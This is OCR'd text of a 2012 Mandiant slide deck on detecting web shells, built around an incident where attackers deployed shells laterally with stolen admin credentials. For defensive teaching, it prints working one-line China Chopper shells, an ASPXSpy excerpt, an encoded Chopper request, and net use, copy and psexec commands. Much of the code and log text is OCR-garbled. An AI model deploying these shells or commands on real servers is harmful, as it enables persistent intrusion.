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Reviewing the Basics




Web Shells Defined P o

= Malicious web page that provides attacker
functionality:
- File transfer
- Command execution
- Network reconnaissance
- Database connectivity

= Server-side scripting
- PHP, ASP, ASPX, JSP, CFM, etc...
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Usage Scenarios P o

= Get a file on a web server

« External attack vectors
- RFI
- SQL injection
- File upload
- Exposed admin interface

= Low “barrier to entry”
- Lots of publicly available malware
- Lots of web app vulnerabilities
- Trivial to use
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Internet
Attacker

abc.com

Attacker uploads a
malicious dynamic
web page to a
vulnerable web

server
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Attacker uses the
“‘web shell” to
browse files,

upload tools, and

run commands

File
Servers

Attacker escalates
privileges and
pivots to additional
targets as allowed



)

Threat Actors C Ranouanr

= Type of malware != attribution

= Most frequently seen used by:
- Financial Crime / Cardholder Data Theft groups

- Hacktivists
- Script kiddies
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Traditional Detection

)

Methods ¥ Moot
= Network monitoring = Anti-virus
- Web attack vectors - Very poor detection rates
- Known bad source IPs / = Post-incident host-based
domains forensics
- Signatures for web shell - Driven by some other
traffic (can be limited) indicator of compromise
= Log review - Tracing attack timeline to

- Proactive vs. reactive? Internet-facing server
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Example: “ASPXSpy”

Very popular

= “Make in China”
= Full-featured

= ~60KB

= Hashed
password

= Lots of tell-tale
strings in server-
side source and
rendered output
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=% Page Language="C#" Debug="true" trace="false" validateReguest="false" %3
<%@ import Mamespace="S5ystem.I0" %>

<%@ import Hamespace="S5ystem.Diagnostics" %>

<%@ import Hamespace="Svyvstem.Data" %>

%@ import Hamespace="System.Data.0leDb" %>

%@ import Mamespace="Microsoft.Win3iz2"™ %>

<%@ import Hamespace="S5ystem.Met.Sockets" %>

<%@ Lsszembly Hame="5yvstem.DirectoryServices, Version=2.0.0.0, Culture=neutral

%@ import Hamespace="3ystem.DirectoryServices" %>
< 'DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3|

<g2oript runat="server">»
.I,-":-r

Thanks Snailsor, FuYu
Code by Bin

Make in China

Blog: http://www.rootkit.net.cn

master@rootkit.net.cn

.  /pass :

SessionMame = "LASP¥Spy":

I .
r

E-mail

I

*

public Password =
public
public
public
protected CleDbConnection conn =

string
=tring
string Bin Action =
string Bin Request = "";

new OleDbConnection():

protected CleDbCommand comm = new OleDbCommand () ;




"ASPXSpy” Client Usage £ s

372772012 2:52:31 BM

Sysinfo | 15Spy | WebShell | Command | SqlTools | SuBExp | PorScan | RegShell | Logout |

Copyright (C) 2008 Bin -> WwW.EocOTkIt.HNeT.Cn -> BEeverse-IF
Driwes @ A Ciy Diy Z:%  WebRoot @ CihDocuments and Settingshuserh\Desktop'\webroo
Tpfile | Browse... ||C:"~D|:||::L|ments and Settingswser\Desktopwebroot GO |

UpLoad

Creazte MewFile | MewDir |
—_— ——]

; — : ! POST /webroot/image.aspx HTTP/1.1
Copy |C:1Dncuments and SEttll'lgS".USEr".DESI“QtDFI".'l.-"."EkHOSt:flgz_lﬁgfgn_%zg P /

User-agent: Mozilla/5.0 (Windows NT 6.1; wWOw64; rv:10.0.1) Gecko/20100101
Firefox,/10.0.1

Hame Sigaccept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/*;q=0.8
; AcCcept-Language: en-us,en;q=0.5
|Parent Directory| Accept-Encoding: gzip, deflate

Connection: keep-alive

referer: http://192.168.30.128/webroot/image. aspx
Cookie: ASP.MNET_SessionId=omjpoviwrbwzsrugpfjzf5jf
Content-Type: application/x-www-form-urlencoded
Ccontent-Length: 542

image.&a3px 637

_ VIEWSTATE=%

2FWEPDWUJ0TASODC30DY2D2QWAQIED2QWEATEDWBWAhA HYM] zaw1sZWhkZAICDwBWAhBAZ 2QWAQIBDWBWAhLEVG
VA dAUUMy By Ny 8yM DEﬁI DIGNTUGNTUQUEL1kZATIDWEWAhBAZ 2RkAQOPZBYCAQBPZBYCAQEPPC S ACWERkAQWPDXYCH
WBOZ GQCDgBEPFgITAGhkZATIODWEWAhEAAGRKANIPDXYCHWEBOZGRKIX ] 2Fd7CmcL 1yBkaV1%2FCiubuhoks
3D&MainButton=5ysinfo&Ein_CmdPathTextBox=CH3IA%SCWIndows%5CSystem3 2%

5CCmd. exe&Bin_Cmdshel 1 TextBox=%2Fc+5et&_ EVENTVALIDATION=%2FWEWDQKPZISBCOQLWSSGY
EBAgK'FVbVRCwKWQELkCAKEwphFﬁ.S ZYyTH2ZFgNAVIWZ S aWPATOIKIQPAPUCA4Q1ApUbT4 CGASGHE

2Fmdo0AsgNhzoC9Z JG1ABCILMSCp35059yAZl 5 TWCMRQYBR2ZFARIDNIDHTTR,/1.1 200 OK

Cache-Control: private

Content-Length: 2702

Content-Type: text/html; charset=utf-8

Content-Encoding: Ezip

server: Ultibev web Serwver Pro (3.0.0.15) Microsoft-HTTPAPI/1.0

X-AspNet-vVersion: 2.0.50727

Date: Tue, 27 Mar 2012 18:57:33 GMT

S [ O P r.H..S.w.aj.v%F....%. ..p.d.g2

T s | N« - o T R Rt ALl B ininne a.F.].6.-..¥ ...... =.a.F..

3 .2..q\....N...{.h.!h_ﬁ.=....B..+.[I.}...U).BUUS..P#...j.d#...'...ﬁ...j.EPi
f.5..1....... Cceccce Gevrnn Wvlo. ..~ 8. .. ... 1..... 0.E..w Veoooo LW VALXT L LAk £
S ¢ P A T E ' 1.1 AL ?
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Example: “China Chopper £ e

< 100 bytes

Relies on a thick-client for remote access
Simple password mechanism

Easily hidden

= References: www.maicaidao.com, www.webshell.cc
JSP:

<%

if (request.getParameter ("f") '=null) (new
java.io.FileQutputStream(application.getBRealPatcth ("\\ ") +request.getParametexr ("E£") ) ) .write
(request.gecParameter ("c") .getBytes () )

>

LSFPX:

%@ Page Language="Jscript"%><%eval (Request.Item["pass"], "unzafe") 13>

PHF:

script langaage="pnp"}@evaliE_PDST[sh]J{fscript}

EEENECT
12 o Copyright 2012



“Chopper” Client Usage

EANDIANTﬁ

1 $hi_migh

5] $MUninstallk B2079403¢
1 $MtUninstallkB2115168%
1 $MtUninstallkB21 215468
7] $Mtninstallk B2229593%
1 $MNtUninstallk B22599224
1 $MtUrinstalkEZ286195%
[ $MtUrinstalKE2296011%
31 $MtUrinstallkB2296199%
5] $MUninstallk B2347290¢
1 $Mtninstallk B23609374

1 $MtUrninstallkB2378111_\wWid9$
IC71 $hH ninstalll BE2=071494

1 =)1z7.0.01 +
] CAWINDOWSY
127.0.0.1 Falder 1411 File/51]

o Lizk Tuesday 2012-03-27
Mame Tirme Size FPetribute = Site Type
~ Defauk
2011-01-18 16:02:54 1] i
Typel
|5 $MtUninstall... 20° Update Cache = Calendar Reminder
E| St Uninstall .. 20 Clear the cache of the WebSite Check Update

Shorteut Link:

IC7 $MtUninstall... 20 WG ET
ICT) $MtUninstall... 20° Upload
IC5) $HtUninstall... 20° Delata

EEENEOT
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POST /server.aspx HTTP/1.1

Cache-Control: no-cache

¥-Forwarded-For: 138.85.37.187

Referer: http://www.maicaidao. com

Content-Type: application/x-www-form-urlencoded

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1)

Host: www.maicaidao. com

Content-Length: 2128

Connection: Close

caidao=Execute("Execute(""On+Error+Resume+Next :Function+bd%28byval+s%29%3AFor+i%301+To
+Len%28s5%29+5Tep+2%IACKIDOMT d%285%2C1%2C2%2 9% 3ATT+IsNumer 1 c%2 8M1 d%2 Bs%2C 1 %2C1%29%29+Then
%IAEXeCUTeX2BX22%22%22%22bd%3Dbd%26chri2 BR20HE2 2X22%22%2 2K 26CK26%2 252 2562 2962 2962 0562 2% 2 2%
22%22%29%IAE  seX3AEXecUTeR2 BR2 202 252 2%2 2hbd%3pbdX2 o chri2 B2 0HM2 252 2%2 2%2 2%2 02 6M1 d%2 85%
2T X2B2M2C2%2 0% 2082 2%2 2%2 2%2 2% 2 0%2 2% 2 2% 2 2% 2 2% 2 0% 3AT %3 D1 B2B 2% 3AENd+ IT%2 2%2 2%26chr%2 81.0%
29%20%22%22NextRIAENd+Function:Response. Write( """ "-=|"""") :Execute (""" "ON+Error+Resume
+MNext:""""%26bd
(""""44696D02052523A52523D6264285265717565737428227A312229293A467506E63740696F0E20406442864
74293A46443D5965617228647429262220223A4066204C650E284D0F0ET46828647429293031205468656E3
A4044203D204644262230223A4506E042049663A46443D4644 204DEF0E746828647429262220223A4966204C
656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A40443D4 64426446
179286474292622202226400F7 26061 744461746554696D652804742C342926223A223A4966204C656E2853
05636FEER42ED47429293D31205468656E3A46443D4044262230223A456E042049063A40443D46442653656
JOFOEDOA2E86474293A456E04 20467 56E63740696F6E3AS3455420433D4 3726561 74654F620A05637428225363

F2697074696E67 2E46696CH6553797374656D4F626A65637422293A53657420464F30432E476574466F6C646




What About Web Logs? A iANT

2012-01-02 15:14:15 W35VC1

GET /image.aspx - 80 - £illa/4.0+(c

2012-01-02 15:14:28 W3ISVCL POST fimage.aspx — 80 Mozilla/ 4.0
2012-01-02 15:14:28 W35VCL POST fimage.aspx — 80 Mozilla/4.0
2012-01-02 15:14:42 W3ISVCL POST fimage.aspx — 80 Mozilla/ 4.0
2012-01-02 15:14:46 W3ISVCL POST fimage.aspx — &80 Mozilla/ 4.0
2012-01-02 15:14:49 W3ISVCL POST fimage.aspx — 80 Mozilla/ 4.0
2012-01-02 15:14:52 W3I5VCL POST fimage.aspx — 80 Mozilla/4.0

2012-01-02 15:14:56 W35VC1
2012-01-02 15:15:49 W35VC1
2012-01-02 15:15:52 W35VC1
2012-01-02 15:15:52 W35VC1
2012-01-02 15:16:04 W35VC1
2012-01-02 15:16:28 W35VC1
2012-01-02 15:1&:34 W35VC1
2012-01-02 15:16:43 W35VC1
2012-01-02 15:17:089 W35VC1
2012-01-02 15:17:13 W35VC1

Mozilla/4.0
nzilla/ 4.0+
ozilla/ 4.0+

Mozilla/ /4.0
ozilla/4.0+(

Mozilla/ 4.0
ozilla/ 4.0+
ozilla/4.0+(
ozilla/S4.0+(

Mozilla 4.0

POST /image.aspx - 80
POST /image.aspx - &0
POST fimage.aspx - 80
POST fimage.aspx - &0
POST /image.aspx - 80
POST /image.aspx - &0
POST fimage.aspx - &0
POST /image.aspx - 80
POST /image.aspx - 80
POST /image.aspx - &0

2012-01-02 15:17:17 W3ISVCL POST fimage.aspx — 80 Mozilla/4.0
2012-01-02 15:17:21 W3SVCL POST fimage.aspx — 80 Mozilla/ 4.0
2012-01-02 15:17:27 W3ISVCL POST fimage.aspx — 80 Mozilla/ 4.0
20120102 1521728 WISV POST Ffimame.asnx — A0 Mnzillas4 O

Not always very helpful...

_| [injm
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Old Shells, New Tricks |

= [t's 2012. Why is this still relevant?

« What happens if an attacker deploys a web
shell...
- ...from within a compromised environment?
- ...using legitimate, administrator credentials?

- ...without exploiting any application or web server
vulnerabilities?

- ...without generating any web requests for the shell?

EEEETT
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)

The Scenario C Ranouanr

» Engineering and manufacturing firm

= ~3000 systems

= Compromised since early 2009

= [nitial attack vector: spear phishing

= Attacker objectives: Espionage, IP theft



Attacker’'s Remote Access

Attacker C2 Infrastructure

I

Backdoor C2
(HTTPS)

I

P e e .
- e o e = = = = —

o o o —— o e — —
o o e e e e o e

VPN Server ,
Key NS e e = g

@ Backdoored Hosts
@ Accessed Hosts

Attacker Systems Attacker
Client

Single-factor VPN Access

||| —
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D)

Host of Interest .

= Hostname: “beta”
= WIn2k3 web server in DMZ

= [nitial indicator of compromise:

- Evidence that file “psexec.exe” had executed from
path “C:\RECYCLER”

= Analysis identified “IIS Spy” web shell at
“C:\Inetpub\wwwroot\iisstart.aspx”
- How'd it get there?
- How was it used?

EEEECT
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File Metadata P o

= Path: C:\Inetpub\wwwroot\iisstart.aspx
= Size: 72,574
= Standard Information Timestamps:

Modified Entry Modified

2008-02-14 2011-07-22 2005-03-24 2011-04-20
21:29:187Z 08:19:307 22:19:08%Z 06:06:517%7

= Earliest logged HTTP request:

2010-01-04 04:37:51 1.2.3.4 GET /iisstart.aspx - 443 - 4.5.6.7

||
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)

Tampering Time C Ranouanr

» Standard Information Timestamps:

Modified Entry Modified

3 2008-02-14 2011-07-22 2005-03-24 2011-04-20
=4 21:29:182 08:19:30% 22:19:08% 06:06:517

= Filename Information Timestamps (from $SMFT)

FN Created FN Accessed FN Modified FN Changed

[] 2010-01-04 2010-01-04 2010-01-04 2010-01-04
04:37:33Z 04:37:33% 04:37:33% 04:37:33%

2010-01-04 04:37:51 1.2.3.4 GET /iisstart.aspx - 443 - 4.5.6.7

||
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N ‘ 3
/J p/

: n!/\hHDIAJﬂTﬁ

How’'d It Get There?

i

= No clues from IS logs — file “just shows up”

= File owner: BUILTIN\Administrators
- What if it were “NT AUTHORITY\NETWORK SERVICE”?

« Preceding network login event:

2010-01-04 Security Successful Network Logon:

04:30:01 Event Log User Name: CorpDomainl\adminUser
Entry Domain: CorpDomain
Logon ID: (0x0, 0x1AFF1293)

Logon Type: 3

Logon Process: NtLmSsp
Authentication Package: NTLM
Workstation Name: alpha

Indicates lateral access to the server from another compromised system, “alpha’
_ [
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Validating 15t Access Time Zl I

= ASP.NET compiler output and assemblies

2010-01-04 File Name C:\Inetpub\wwwroot\iisstart.aspx
04:37:33 Created

2010-01-04 File C:\WINDOWS\Microsoft.NET\Framework64\v2.0.50727

04:37:51 Created \Temporary ASP.NET
Files\root\e22c2559\92c7e946\iisstart.aspx.cdca
b7d2.compiled

2010-01-04 1IIS Log GET /iisstart.aspx
04:37:51 Entry

= Created upon first access (unless precompiled deployment)

= Reference:
http://msdn.microsoft.com/en-us/library/ms227430(v=vs.85).aspx

EEEECT
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http://msdn.microsoft.com/en-us/library/ms227430(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/ms227430(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/ms227430(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/ms227430(v=vs.85).aspx

What Happened Next? 2y

2010-01-05 File C:\WINDOWS\Microsoft .NET\Framework64\v2.0.50727\
05:28:28%7 Created Temporary ASP.NET
Files\root\e22c2559\92c7e946\uploads

“uploads” directory created in existing .NET compiler output directory for web shell

2010-01-05 File C:\RECYCLER\psexec.exe »NT AUTHORITY\NETWORK
05:28:327%7 Created SERVICE

File owner indicates uploaded through web shell

Associated User

2010-01-05 System The PsExec service was CorpDomain\adminUser
05:33:027% EVT Log successfully sent a start
Entry control.

Indicates lateral access to host using “psexec” (note associated user)

EENETC
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EANDIANTﬁ

net use y: \\beta\c$ /u:localAdmin “passwd”

beta

Mount share to “beta” from “alpha” using local admin account

| lisstart.aspx

g copy evil.aspx y:\inetpub\wwwroot\iisstart.aspx

Copy web shell to “beta” web root

beta

@ GET liistart.aspx - ;iisstart.a;pxr

attacker.c2.com Access web shell over Internet as a test beta

EEEEEET T
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EANDIANTﬁ

@ POST Jiisstart.aspx

attacker.c2.com psexec.exe” upload via web shell .

g psexec.exe \\beta cmd.exe

Establish cmd line access to “beta :
alpha beta

| lisstart.aspx

| iisstart.aspx

e
Test lateral access from “beta” to other hosts
beta
L || [l
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Key

Backdoor C2
(HTTPS)

@ Backdoored Hosts
@ Accessed Hosts

Attacker Systems

EEEEEET T
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On Other Hosts... P

= One internal server with web shells staged
In “C:\RECYCLER\iis.zip”

= Two DMZ web servers with web shells
deployed laterally

= Each web shell was

- Installed during the first several months of the
compromise

- Only accessed a handful of times post-deployment

EEEECT
28 o Copyright 2012



At Other Victims... P

» Seeing web shells used in an increasing
number of our APT cases

= Majority deployed laterally, post-intrusion
= Majority were publicly available tools

= Main purpose seems to be resilience to
remediation efforts



Investigating and
Mitigating




Challenges:
Network Indicators ¥ PManoiant

= Attacker can connect from any source address
= Shell may only be used as a backup mechanism

= Sighature detection relies on client-transmitted
web page elements

Filter: Bxpression... Clear Apply
o Time Source Destination Protocol Length Info
37 4.060646 192.168.31.137 173.201.144.35 Tcp 1514 [TCP segment of a reassembled PDU]
38 4.060689 192.168.31.137 173.201.144.35 HTTP 722 POST /server.aspx HTTP/1.1 (applicatio
39 4.060825 173.201.144.35 192.168.31.137 Tce 60 http > bvtsonar Ack=302 win]
40 4.060837 173.201.144.35 192.168.31.137 TCP 60 http > bvtsonar i
41 4.060842 173.201.144.35 192.168.31.137 TCP 60 http > bvtsonar
42 4.250949 173.201.144.35 192.168.31.137 Tcp 1514 [TCP segment of a reassembled PDU]
43 4.251509 173.201.144.35 192.168.31.137 HTTP 603 HTTP/1.1 200 OK (text/html)
< m ] »

N T
source port: bvtsonar (1149)
pestination port: hrtp ¢~
[stream index: 1]
Sequence number: 17€
[Next sequence numb ative sequence
Acknow] edgement nun (relative ack number)

Header length: 20 | -
Flags: Ox18 (PSH, 4 - A
window size value:

[calculated window s
[window size scaling
checksum: Oxascg [valid
[SEQ/ACK analysis]
TCP segment data (668 bytes)

[3 Reassembled TCP Segments (2429 byTes): ssuisul), #3
= Hypertext Transfer Protocol

~ POST /server.aspx HTTR/1.1\r\n

[Expert Info (chat/Sequence): FOST /server.aspx HTTR/L.

Request Method: POST

RequesT URT: /server.aspx

Request version: HTTP/1.1
cache-control: no-cache\r

2 <18 0 <18 © <58 O <1080 & <560 @ <999 @ +1008

internet world map "07 IPligence.com

EEENECT
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Challenges:
Host-Based Indicators

= Needles in haystacks
- Lots of servers
- Lots of web roots m]]:lm Z l“ ” | ﬁﬂ@
- Lots of web shell variants '
- Internal attacker has full visibility to
targets

= Single-line shells easy to create

- echo “<%eval request(“sb”)%\*> >
test.asp

= Difficult to trace all lateral
movement
- Availability of event logs
- Local vs. domain account usage
- Duration of compromise

memegenerator.nat

||
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Which path? B 12 anoian

= Can't just look in defaults
like “Iinetpub\wwwroot™!

= Lots of application-specific
paths...

- C:\Program Files\Common
Files\Microsoft Shared\web
server extensions\12\TEMPLATE

- C:\Program
Files\Exchsrvr\ExchWeb
- C:\Program Files
(x86) \Business

Objects\Tomcat55\webapps\Plat
formServices\jsp\

EEEEEEDT
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All is not lost! ¥ Ranoiant




Mitigation: Network

= Contain the
attacker

= DMZ Isolation:
Still a common
problem!!

- Traffic from DMZ to
internal network

- Traffic from internal
network to DMZ

- Limiting joined
domains, Cross-
forest trusts

- “jump” boxes for
admin access

EEEEOT
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Mitigation: Host C Ranomanr

= Application Whitelisting, HIDS

- May detect what an attacker does with a web shell
- May not detect latent web shells

- Monitoring all file system changes within all web roots
on all servers may generate a lot of noise

= “Least-privilege” for web server & application
user context

= Host-based controls are likely to fall if the
attacker already has admin privileges

_|_[ojmpmi
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Host-Based Artifacts:

)

Static File Analysis " Favoanr
= Harder than hunting for PES =« Free tools
- No fixed structurg _ NeoPI:
- No need for persistence https://github.com/Neohapsis/NeoP|
mechanism N _ RIPS:
= Keyword searches, statistical http://rips-scanner.sourceforge.net/
analysis - 10C Finder:
= |Limitations http://www.openioc.org
- Multitude of scripting = Commercial forensic tools
languages - Enterprise-scale vs. one-host-
- False positive rate at-a-time analysis
- False negative rate - Keyword searches across

- Number of servers 1000s of machines, files

EEEEDTT
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https://github.com/Neohapsis/NeoPI
http://rips-scanner.sourceforge.net/
http://rips-scanner.sourceforge.net/
http://rips-scanner.sourceforge.net/
http://rips-scanner.sourceforge.net/
http://www.openioc.org/
http://www.openioc.org/
http://www.openioc.org/

Host-Based Artifacts:

Static File Analysis

= Keywords & regex can be -

surprisingly effective
(net user, cmd.exe, cmdshell,
HKEY , command interpreter,...)

- Need to limit search scope

= False positives on legit but
badly-written code

function sanitizelInput (stringln)
if instr(sztringIn, "'"}) > 0 or instr(stringln,
":") > 0 or instr(stringln, "xp cmdshell™) then
call inputError

EEENEOT
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Encoding and obfuscation

<script language="VEScript.Encode">

'+*Start Encode**#@~"BRAERAL==QfRzefGsefeCE, PP,
UnD7k"*+, "~ ! ¥r (%+1Y " rArxsos¥d) wwrEP'PEOD; Wh2 | 71
LM (U+.\b"R3X+1pEDH~{@#E@&~P, P~~, PP, ~P, PEVE]+"1
MWhPgrx2 méa+DCObxL?HAD+hr#efeee#@sp, ~P, P~P, §
xL]H/O+s~kP"G " rwn.mYrxT]H/O: k@fR&, P, ~F, P~F, P1
10kULUXdYhR; 120bWx~",J~J, ", {@$@&P, PP, P, ~P, P~}

i+./bGxRfR&~~, PP~~, P~PgnXYRFR &P, PPAXI~? | 4@HE4

Used less frequently than I'd expect

Hassle for attackers to edit,
maintain?



Host-Based Artifacts: &
Tracking Lateral Movement 4 SEiLANNUNG:

« Laterally installed web shells typically on
Windows servers
- Attackers leverage existing credentials
- Local vs. domain account usage and impact on

logging

= Certain “directions” of Windows logins with
certain accounts may be suspicious
- Internal subnets to DMZ web servers
- DMZ web servers to internal subnets

EEEET
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Host-Based Artifacts:
Tracking Lateral Movement #f LI T s

g

)

net use y: \\beta\c$ /u:localAdmin “passwd”

Logon
beta Type 3
( & Remote Desktop Connection
| Remote Desktop ———
~>¢) Connection
gamma Domain
User: domain\admin Controller
Password; *****x =
LOG —=
Logon Logon
Type 10 Type 10
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This can get messy...

D

EANDIANTﬁ

4V )
£ Phishing Campaigns

@ Compromised Hosts
@ Accessed Hosts

-

J




Host-Based Artifacts: S
Interactive Access " Panoiant

= Shellbags (in Other registry keys
NTUSER.DATS) - MRU keys

- HKEY_USERS\{USERID}\Software\ - UserAssist
Microsoft\Windows\Shell\ .
- HKEY USERS\{USERID}\Software\ LNK files
Microsoft\Windows\ ]
ShellNoRoam\ IE history (Explorer usage)
- HEKY_USERS\{USERID}\Local
Settings\Software\Microsoft\ FOCUS on attaCker accounts1
Windows\Shell\ timeline analysis
C:\scripts>shellbags.py NTUSER.DAT | findstr wwwroot
0| \My Computer\cC:\\1netpub\wwwroot (Shellbag)|0|0|0|0|0]|1333523440|1333523440|18
000]1333523440
0| \My Computer\C:\\1netpub\wwwroot (Shellbag)|0|0|0|0|0]|1333523440|1333523440|18

000|13335“3440
0|\My Computer\C:\\1netpub\wwwroot\Access.asp (Shellbag)|0|0|0]|0]|0]|1329432470|13
335“3458|18000|13335“3458

“shellbags.py” Tool & Reference:
http://www.williballenthin.com/forensics/shellbags/index.html

]
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)

Scoping Your Investigation S N

All Systems

= Scale and impact
of compromise

= Can’t just hunt for
malware

= How'd they get in?
= What was taken?

= How can we kick
them out?

Unauthorized Access

Malware

Backdoors
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Take aways ’) | \E ANDIANT

= Lateral installation of web shells iIs a new
twist on an old concept

= Increasingly used in targeted attacks — and
by a broader set of actors

= Easy way to re-compromise a “remediated”
environment

= Challenging to find in large compromised
networks

= Sound network architecture Is the foremost
mitigation approach



Questions " Ranoiant

ryan [dot] kazanciyan [at] mandiant [dot] com
Twitter: @ryankaz42
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